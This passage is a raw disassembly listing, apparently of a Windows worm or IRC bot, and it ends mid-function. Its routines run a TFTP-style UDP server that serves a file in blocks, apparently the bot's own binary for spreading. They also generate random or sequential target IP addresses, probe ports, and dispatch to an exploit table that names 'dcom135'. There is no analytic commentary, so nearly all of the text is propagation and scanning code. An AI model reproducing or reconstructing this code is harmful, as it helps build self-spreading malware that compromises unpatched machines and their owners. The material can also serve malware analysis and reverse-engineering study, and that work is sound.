Dest = byte ptr -780h
var_580 = byte ptr -580h
var_57F = byte ptr -57Fh
var_57E = byte ptr -57Eh
var_57D = byte ptr -57Dh
DstBuf = byte ptr -57Ch
var_37C = dword ptr -37Ch
Filename = byte ptr -378h
Str1 = byte ptr -274h
var_170 = dword ptr -170h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
Str = byte ptr -164h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_D8 = byte ptr -0D8h
var_D7 = byte ptr -0D7h
Str2 = byte ptr -0D6h
var_D5 = byte ptr -0D5h
var_58 = byte ptr -58h
Dst = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
File = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 884h
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
mov esi, offset aOctet ; "octet"
lea edi, [ebp+var_1C]
movsd
push 1
xor ebx, ebx
movsw
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_37C]
push ebx
push 2
rep movsd
inc [ebp+var_16C]
push 2
mov [ebp+var_C], eax
mov [edx+2A0h], eax
call ds:dword_43C698 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_406CCE
push 190h
call ds:dword_423060 ; Sleep
call ds:dword_43C5AC ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset unk_429C38 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_E0], ebx
jnz short loc_406CAE
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_E4] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_37C] ; int
call sub_40D670
add esp, 14h
loc_406CAE: ; CODE XREF: sub_406C0B+7Ej
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_170]
call sub_417064
pop ecx
pop ecx
push ebx
call ds:dword_423050
loc_406CCE: ; CODE XREF: sub_406C0B+50j
mov eax, [ebp+var_170]
push 10h ; Size
imul eax, 234h
push ebx ; Val
mov ds:dword_44207C[eax], edi
lea eax, [ebp+Dst]
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_168]
call ds:dword_43C618 ; htons
mov [ebp+var_42], ax
lea eax, [ebp+Dst]
push 10h
push eax
push edi
mov [ebp+var_40], ebx
call ds:dword_43C644 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_406D33
push 1388h
call ds:dword_423060 ; Sleep
dec [ebp+var_16C]
push [ebp+arg_0]
jmp loc_4070F6
; ---------------------------------------------------------------------------
loc_406D33: ; CODE XREF: sub_406C0B+10Dj
lea eax, [ebp+Filename]
push offset aRb ; "rb"
push eax ; Filename
call _fopen
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+File], eax
jnz short loc_406DB1
push 190h
call ds:dword_423060 ; Sleep
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+Dest]
push offset unk_429C04 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_E4] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_37C] ; int
call sub_40D670
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_170]
call sub_417064
add esp, 28h
push ebx
call ds:dword_423050
loc_406DB1: ; CODE XREF: sub_406C0B+140j
mov esi, 200h
loc_406DB6: ; CODE XREF: sub_406C0B+4A5j
mov eax, [ebp+arg_0]
cmp [eax+2A0h], ebx
jz loc_4070B6
mov [ebp+var_880], edi
mov edi, 80h
push edi ; Size
lea eax, [ebp+var_D8]
push ebx ; Val
push eax ; Dst
mov [ebp+var_34], 5
mov [ebp+var_30], 1388h
mov [ebp+var_884], 1
call _memset
add esp, 0Ch
lea eax, [ebp+var_34]
push eax
push ebx
lea eax, [ebp+var_884]
push ebx
push eax
push ebx
call ds:dword_43C600 ; select
test eax, eax
jle loc_4070AA
mov al, ds:byte_4397BC
mov ecx, edi
mov [ebp+var_580], al
xor eax, eax
lea edi, [ebp+var_57F]
mov [ebp+var_4], 10h
rep stosd
stosw
stosb
mov edi, [ebp+var_10]
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
lea eax, [ebp+var_D8]
push 80h
push eax
push edi
call ds:dword_43C5F0 ; recvfrom
push [ebp+var_28]
mov [ebp+var_C], eax
call ds:dword_43C6A4 ; inet_ntoa
push eax ; Format
lea eax, [ebp+var_58]
push eax ; Dest
call _sprintf
cmp [ebp+var_D8], bl
pop ecx
pop ecx
jnz loc_407094
cmp [ebp+var_D7], 1
jnz loc_406FE0
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
lea eax, [ebp+eax+var_D5]
mov [ebp+var_14], eax
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
push eax ; MaxCount
lea eax, [ebp+Str2]
push eax ; Str2
lea eax, [ebp+Str1]
push eax ; Str1
call _strncmp
add esp, 14h
test eax, eax
jnz loc_406F9A
lea eax, [ebp+var_1C]
push eax ; Str
call _strlen
push eax ; MaxCount
lea eax, [ebp+var_1C]
push [ebp+var_14] ; Str2
push eax ; Str1
call _strncmp
add esp, 10h
test eax, eax
jnz loc_406F9A
push ebx ; Origin
push ebx ; Offset
push [ebp+File] ; File
call _fseek
push [ebp+File] ; File
lea eax, [ebp+DstBuf]
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
push esi ; Count
push 1 ; ElementSize
push eax ; DstBuf
mov [ebp+var_57E], bl
mov [ebp+var_57D], 1
call _fread
add esp, 1Ch
lea ecx, [ebp+var_2C]
mov [ebp+var_C], eax
add eax, 4
push [ebp+var_4]
push ecx
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push edi
call ds:dword_43C67C ; sendto
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+var_58]
push eax
push offset dword_429BBC ; Format
loc_406F4E: ; CODE XREF: sub_406C0B+484j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+var_E0], ebx
jnz short loc_406F88
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_E4] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_37C] ; int
call sub_40D670
add esp, 14h
loc_406F88: ; CODE XREF: sub_406C0B+358j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
pop ecx
jmp loc_4070AA
; ---------------------------------------------------------------------------
loc_406F9A: ; CODE XREF: sub_406C0B+2B6j
; sub_406C0B+2D7j
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 13h
push offset dword_429BA8
push edi
call ds:dword_43C67C ; sendto
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_D8]
push offset unk_429B74 ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+var_D8]
push eax
call sub_40BF6F
add esp, 14h
jmp loc_4070AA
; ---------------------------------------------------------------------------
loc_406FE0: ; CODE XREF: sub_406C0B+275j
cmp [ebp+var_D7], 4
jnz loc_407094
mov cl, [ebp+var_D5]
mov al, [ebp+Str2]
cmp cl, 0FFh
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
jnz short loc_40701D
inc al
xor cl, cl
mov [ebp+var_57E], al
mov [ebp+var_57D], bl
jmp short loc_40702B
; ---------------------------------------------------------------------------
loc_40701D: ; CODE XREF: sub_406C0B+3FEj
inc cl
mov [ebp+var_57E], al
mov [ebp+var_57D], cl
loc_40702B: ; CODE XREF: sub_406C0B+410j
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
push ebx ; Origin
shl eax, 9
sub eax, esi
push eax ; Offset
push [ebp+File] ; File
call _fseek
push [ebp+File] ; File
lea eax, [ebp+DstBuf]
push esi ; Count
push 1 ; ElementSize
push eax ; DstBuf
call _fread
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_2C]
mov [ebp+var_C], edi
push [ebp+var_4]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push [ebp+var_10]
call ds:dword_43C67C ; sendto
loc_40707B: ; DATA XREF: UPX0:004272F8o
; UPX0:0042730Co ...
cmp edi, ebx
jnz short loc_4070AA
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+var_58]
push eax
push offset dword_429B20
jmp loc_406F4E
; ---------------------------------------------------------------------------
loc_407094: ; CODE XREF: sub_406C0B+268j
; sub_406C0B+3DCj
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 9
push offset dword_429B14
push edi
call ds:dword_43C67C ; sendto
loc_4070AA: ; CODE XREF: sub_406C0B+204j
; sub_406C0B+38Aj ...
cmp [ebp+var_C], ebx
mov edi, [ebp+var_10]
jg loc_406DB6
loc_4070B6: ; CODE XREF: sub_406C0B+1B4j
push edi
call ds:dword_43C6B0 ; closesocket
push [ebp+File] ; File
call _fclose
mov esi, [ebp+arg_0]
dec [ebp+var_16C]
pop ecx
cmp [esi+2A0h], ebx
jnz short loc_4070EA
push [ebp+var_170]
call sub_417064
pop ecx
push ebx
call ds:dword_423050
loc_4070EA: ; CODE XREF: sub_406C0B+4CAj
push 3E8h
call ds:dword_423060 ; Sleep
push esi
loc_4070F6: ; CODE XREF: sub_406C0B+123j
call sub_406C0B
pop edi
pop esi
pop ebx
leave
retn 4
sub_406C0B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_407102(int,char *Str,int)
sub_407102 proc near ; CODE XREF: sub_40EE51+5D4Bp
Source = byte ptr -400h
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+Dest]
push offset unk_42A134 ; Format
push eax ; Dest
xor ebx, ebx
call _sprintf
cmp ds:dword_429CB0, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_407170
push esi
mov esi, offset dword_429CB8
loc_407135: ; CODE XREF: sub_407102+6Bj
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+Source]
push offset aSD ; " %s: %d,"
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push edi ; Count
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
add esi, 3Ch
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_407135
pop esi
loc_407170: ; CODE XREF: sub_407102+2Bj
push ds:dword_486C00
call sub_40B71C
push eax
push ebx
lea eax, [ebp+Source]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push edi ; Count
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
add esp, 38h
pop edi
pop ebx
leave
retn
sub_407102 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4071CC(int,char *Str,int,int)
sub_4071CC proc near ; CODE XREF: sub_40EE51+5693p
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 8
call sub_416F90
test eax, eax
pop ecx
jle short loc_407208
mov eax, [ebp+arg_C]
push ds:dword_4397F8[eax*8]
call ds:dword_43C6A4 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset unk_42A198 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_40721B
; ---------------------------------------------------------------------------
loc_407208: ; CODE XREF: sub_4071CC+13j
lea eax, [ebp+Dest]
push offset unk_42A168 ; Format
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40721B: ; CODE XREF: sub_4071CC+3Aj
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
add esp, 18h
leave
retn
sub_4071CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_407243(int,int,int,int,char Source,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_407243 proc near ; CODE XREF: sub_40796C+4Fp
var_210 = dword ptr -210h
Dest = byte ptr -204h
var_4 = byte ptr -4
Source = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_4075D3
imul eax, 3Ch
xor ebx, ebx
cmp ds:dword_429CBC[eax], ebx
jz loc_4074B4
push 4
call sub_416F90
test eax, eax
pop ecx
jnz loc_4075D3
mov eax, ds:dword_42E5AC
push edi
mov edi, offset dword_43A7B4
push 104h
push edi
push ebx
mov ds:dword_43A9C4, eax
mov ds:dword_43A9C0, ebx
call ds:dword_423090 ; GetModuleFileNameA
push 103h ; Count
mov esi, offset byte_43A8B8
push offset byte_42E664 ; Source
push esi ; Dest
call _strncpy
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov ds:dword_43A7B0, eax
mov eax, [ebp+arg_138]
push 7Fh ; Count
mov ds:dword_43AA48, eax
jnz short loc_4072F6
lea eax, [ebp+Source]
push eax ; Source
push offset byte_43A9C8 ; Dest
call _strncpy
add esp, 0Ch
mov ds:dword_43AA4C, 1
jmp short loc_407310
; ---------------------------------------------------------------------------
loc_4072F6: ; CODE XREF: sub_407243+94j
lea eax, [ebp+arg_90]
push eax ; Source
push offset byte_43A9C8 ; Dest
call _strncpy
add esp, 0Ch
mov ds:dword_43AA4C, ebx
loc_407310: ; CODE XREF: sub_407243+B1j
push esi
push edi
push ds:dword_43A9C4
lea eax, [ebp+Dest]
push offset unk_42A328 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dest]
push 4 ; int
push eax ; Source
call sub_416D48
add esp, 20h
mov ds:dword_43A9BC, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43A7B0
push offset sub_406C0B
push ebx
push ebx
call ds:dword_42309C
mov ecx, ds:dword_43A9BC
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_40737F
loc_40736D: ; CODE XREF: sub_407243+13Aj
cmp ds:dword_43AA50, ebx
jnz short loc_40739A
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_40736D
; ---------------------------------------------------------------------------
loc_40737F: ; CODE XREF: sub_407243+128j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dest]
push offset unk_42A2E8 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40739A: ; CODE XREF: sub_407243+130j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
mov edi, offset dword_43AE0C
mov [esp+210h+var_210], 104h
push edi
push ebx
mov ds:dword_43B018, ebx
call ds:dword_423090 ; GetModuleFileNameA
push 103h ; Count
mov esi, offset byte_43AF10
push offset byte_42E664 ; Source
push esi ; Dest
call _strncpy
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov ds:dword_43AE08, eax
mov eax, [ebp+arg_138]
push 7Fh ; Count
mov ds:dword_43B0A0, eax
jnz short loc_407415
lea eax, [ebp+Source]
push eax ; Source
push offset byte_43B020 ; Dest
call _strncpy
add esp, 0Ch
mov ds:dword_43B0A4, 1
jmp short loc_40742F
; ---------------------------------------------------------------------------
loc_407415: ; CODE XREF: sub_407243+1B3j
lea eax, [ebp+arg_90]
push eax ; Source
push offset byte_43B020 ; Dest
call _strncpy
add esp, 0Ch
mov ds:dword_43B0A4, ebx
loc_40742F: ; CODE XREF: sub_407243+1D0j
push esi
push edi
push ds:dword_43B01C
lea eax, [ebp+Dest]
push offset dword_42A298 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dest]
push 5 ; int
push eax ; Source
call sub_416D48
add esp, 20h
mov ds:dword_43B014, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43AE08
push offset sub_4053D6
push ebx
push ebx
call ds:dword_42309C
mov ecx, ds:dword_43B014
pop edi
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_4074A3
loc_40748D: ; CODE XREF: sub_407243+25Ej
cmp ds:dword_43B0A8, ebx
jnz loc_4075C6
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_40748D
; ---------------------------------------------------------------------------
loc_4074A3: ; CODE XREF: sub_407243+248j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset dword_42A258
jmp loc_4075B7
; ---------------------------------------------------------------------------
loc_4074B4: ; CODE XREF: sub_407243+25j
cmp ds:dword_429CC0[eax], ebx
jz loc_4075D3
push 3
call sub_416F90
test eax, eax
pop ecx
jnz loc_4075D3
mov esi, offset byte_43ACE4
push 104h
push esi
push ebx
call ds:dword_423090 ; GetModuleFileNameA
push 5Ch ; Ch
push esi ; Str
call _strrchr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4074F2
mov [eax], bl
loc_4074F2: ; CODE XREF: sub_407243+2ABj
mov eax, ds:dword_42E5B0
mov ds:dword_43ADFC, ebx
mov ds:dword_43ADE8, eax
lea eax, [ebp+Source]
push eax ; Format
push offset Dest ; Dest
call _sprintf
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov ds:dword_43AA58, eax
mov ecx, [ebp+arg_138]
push esi
push ds:dword_43ADE8
mov ds:dword_43ADF4, ecx
mov ecx, [ebp+arg_13C]
push eax
mov ds:dword_43ADF8, ecx
call sub_40AEDB
pop ecx
push eax
lea eax, [ebp+Dest]
push offset unk_42A20C ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dest]
push 3 ; int
push eax ; Source
call sub_416D48
add esp, 20h
mov ds:dword_43ADF0, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43AA58
push offset sub_405AF0
push ebx
push ebx
call ds:dword_42309C
mov ecx, ds:dword_43ADF0
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_4075AB
loc_407599: ; CODE XREF: sub_407243+366j
cmp ds:dword_43AE04, ebx
jnz short loc_4075C6
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_407599
; ---------------------------------------------------------------------------
loc_4075AB: ; CODE XREF: sub_407243+354j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_42A1C8 ; Format
loc_4075B7: ; CODE XREF: sub_407243+26Cj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_4075C6: ; CODE XREF: sub_407243+250j
; sub_407243+35Cj
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
pop ecx
loc_4075D3: ; CODE XREF: sub_407243+14j
; sub_407243+35j ...
pop esi
pop ebx
leave
retn
sub_407243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4075D7(int Dst)
sub_4075D7 proc near ; CODE XREF: sub_407758:loc_4077C9p
Dst = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+Dst]
push esi
push 4 ; Size
lea esi, ds:4397F8h[eax*8]
lea eax, [ebp+Dst]
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
push [ebp+Dst]
call ds:dword_43C54C ; htonl
inc eax
push eax
mov [ebp+Dst], eax
call ds:dword_43C614 ; htonl
mov [ebp+Dst], eax
lea eax, [ebp+Dst]
push 4 ; Size
push eax ; Src
push esi ; Dst
call _memcpy
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_4075D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40761F(char *Src,int)
sub_40761F proc near ; CODE XREF: sub_407758+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+Src] ; Str
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call _strlen
cmp eax, 0Fh
pop ecx
jbe short loc_407647
xor eax, eax
jmp short loc_4076B8
; ---------------------------------------------------------------------------
loc_407647: ; CODE XREF: sub_40761F+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+Src] ; Src
call _sscanf
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_407674
call _rand
mov [ebp+var_C], eax
loc_407674: ; CODE XREF: sub_40761F+4Bj
cmp [ebp+var_8], esi
jnz short loc_407681
call _rand
mov [ebp+var_8], eax
loc_407681: ; CODE XREF: sub_40761F+58j
cmp [ebp+var_4], esi
jnz short loc_40768E
call _rand
mov [ebp+var_4], eax
loc_40768E: ; CODE XREF: sub_40761F+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40769A
call _rand
loc_40769A: ; CODE XREF: sub_40761F+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov ds:dword_4397F8[ecx*8], eax
loc_4076B8: ; CODE XREF: sub_40761F+26j
pop esi
leave
retn
sub_40761F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4076BB proc near ; CODE XREF: sub_407758+B8p
; sub_40D4BC+30p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call ds:dword_43C698 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4076E4
xor eax, eax
jmp short loc_407753
; ---------------------------------------------------------------------------
loc_4076E4: ; CODE XREF: sub_4076BB+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call ds:dword_43C618 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call ds:dword_43C6B4 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call ds:dword_43C5C0 ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call ds:dword_43C600 ; select
push esi
mov edi, eax
call ds:dword_43C6B0 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_407753: ; CODE XREF: sub_4076BB+27j
pop edi
pop esi
pop ebx
leave
retn
sub_4076BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407758 proc near ; DATA XREF: sub_40796C+13Bo
var_2A8 = dword ptr -2A8h
Dest = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
Src = byte ptr -150h
var_140 = byte ptr -140h
Str = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+Src]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call ds:dword_423054 ; GetTickCount
push eax
call sub_4172EE
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40779F: ; CODE XREF: sub_407758+200j
mov eax, ds:dword_442074[ebx]
cmp ds:dword_4397FC[eax*8], 0
jz loc_40795D
cmp [ebp+var_10], 0
push eax ; Dst
jz short loc_4077C9
lea eax, [ebp+Src]
push eax ; Src
call sub_40761F
pop ecx
jmp short loc_4077CE
; ---------------------------------------------------------------------------
loc_4077C9: ; CODE XREF: sub_407758+60j
call sub_4075D7
loc_4077CE: ; CODE XREF: sub_407758+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push ds:dword_442074[ebx]
push [ebp+var_3C]
push edi
call ds:dword_43C6A4 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset unk_42A3BC ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax ; Format
lea eax, dword_441E70[ebx]
push eax ; Dest
call _sprintf
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_4076BB
add esp, 2Ch
cmp eax, 1
jnz loc_40794D
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_4078A2
push offset dword_43A798
call ds:dword_4230C4 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call ds:dword_43C6A4 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset unk_42A384 ; Format
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_407884
cmp [ebp+Str], 0
push 1 ; int
push [ebp+var_18] ; int
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+Str]
jnz short loc_407878
lea eax, [ebp+var_140]
loc_407878: ; CODE XREF: sub_407758+118j
push eax ; Str
push [ebp+var_40] ; int
call sub_40D670
add esp, 14h
loc_407884: ; CODE XREF: sub_407758+FDj
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
mov [esp+2A8h+var_2A8], offset dword_43A798
call ds:dword_4230C0 ; RtlLeaveCriticalSection
jmp loc_40794D
; ---------------------------------------------------------------------------
loc_4078A2: ; CODE XREF: sub_407758+CDj
push edi
call ds:dword_43C6A4 ; inet_ntoa
push eax ; Format
lea eax, [ebp+var_208]
push eax ; Dest
call _sprintf
mov eax, [ebp+var_20]
imul eax, 3Ch
add eax, offset aDcom135_0 ; "dcom135"
push eax ; Format
lea eax, [ebp+var_178]
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+Str], 0
lea eax, [ebp+Str]
jnz short loc_4078E6
lea eax, [ebp+var_140]
loc_4078E6: ; CODE XREF: sub_407758+186j
push eax ; Format
lea eax, [ebp+var_1F8]
push eax ; Dest
call _sprintf
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_164], eax
imul eax, 3Ch
sub esp, 0BCh
mov [ebp+var_168], esi
lea esi, [ebp+var_20C]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call ds:off_429CB4[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40794D: ; CODE XREF: sub_407758+C3j
; sub_407758+145j
push 7D0h
call ds:dword_423060 ; Sleep
jmp loc_40779F
; ---------------------------------------------------------------------------
loc_40795D: ; CODE XREF: sub_407758+55j
push esi
call sub_417064
pop ecx
push 0
call ds:dword_423050
sub_407758 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40796C proc near ; DATA XREF: sub_40EE51+331Ao
; sub_40EE51+5120o
var_1DC = dword ptr -1DCh
Source = byte ptr -1CCh
var_14C = byte ptr -14Ch
Str = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
